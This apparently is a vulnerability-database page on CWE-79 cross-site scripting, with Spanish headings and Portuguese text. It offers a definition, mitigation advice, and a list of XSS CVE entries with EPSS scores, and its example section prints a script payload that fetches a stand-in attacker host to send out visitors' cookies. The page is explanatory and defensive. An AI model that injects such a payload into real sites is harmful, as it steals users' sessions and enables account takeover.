Fallos del tipo CWE-79

30.663 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2020-1936—Stored XSS in Apache AmbariEPSS 2.9%CVE-2024-35540HIGHA stored cross-site scripting (XSS) vulnerability in Typecho v1.3.0 allows attackers to execute arbitrary web scripts or HTML via a crafted EPSS 2.8%CVE-2022-42094MEDIUMBackdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the 'Card' content.EPSS 2.8%CVE-2025-47851MEDIUMIn JetBrains TeamCity before 2025.03.2 stored XSS via GitHub Checks Webhook was possibleEPSS 2.8%CVE-2024-46278HIGHTeedy 1.11 is vulnerable to Cross Site Scripting (XSS) via the management console.EPSS 2.8%CVE-2021-26544—Apache Livy (Incubating) is vulnerable to cross site scriptingEPSS 2.8%CVE-2021-3672—A flaw was found in c-ares library, where a missing input validation check of host names returned by DNS (Domain Name Servers) can lead to oEPSS 2.8%CVE-2023-23077MEDIUMCross site scripting (XSS) vulnerability in Zoho ManageEngine ServiceDesk Plus 13 via the comment field when adding a new status comment.EPSS 2.8%CVE-2023-23078MEDIUMCross site scripting (XSS) vulnerability in Zoho ManageEngine ServiceDesk Plus 14 via the comment field when changing the credentials in theEPSS 2.8%CVE-2023-23073MEDIUMCross site scripting (XSS) vulnerability in Zoho ManageEngine ServiceDesk Plus 14 via PO in the purchase component.EPSS 2.8%CVE-2020-9732CRITICALStored XSS in AEM Sites ComponentsEPSS 2.8%CVE-2022-25370—Unauth Stored XSS vulnerability in the Birt plugin of Apache OFBizEPSS 2.8%CVE-2020-25706MEDIUMA cross-site scripting (XSS) vulnerability exists in templates_import.php (Cacti 1.2.13) due to Improper escaping of error message during teEPSS 2.8%CVE-2022-0994—Hummingbird < 3.3.2 - Admin+ Stored Cross-Site ScriptingEPSS 2.8%CVE-2023-42627CRITICALMultiple stored cross-site scripting (XSS) vulnerabilities in the Commerce module in Liferay Portal 7.3.5 through 7.4.3.91, and Liferay DXP EPSS 2.8%CVE-2023-42629CRITICALStored cross-site scripting (XSS) vulnerability in the manage vocabulary page in Liferay Portal 7.4.2 through 7.4.3.87, and Liferay DXP 7.4 EPSS 2.8%CVE-2023-42628CRITICALStored cross-site scripting (XSS) vulnerability in the Wiki widget in Liferay Portal 7.1.0 through 7.4.3.87, and Liferay DXP 7.0 fix pack 83EPSS 2.8%CVE-2023-28347CRITICALAn issue was discovered in Faronics Insight 10.0.19045 on Windows. It is possible for an attacker to create a proof-of-concept script that fEPSS 2.8%CVE-2021-24596—youForms for WordPress <= 1.0.5 - Authenticated Stored Cross-Site ScriptingEPSS 2.8%CVE-2022-2846MEDIUMCalendar Event Multi View < 1.4.07 - Unauthenticated Arbitrary Event Creation to Stored XSSEPSS 2.8%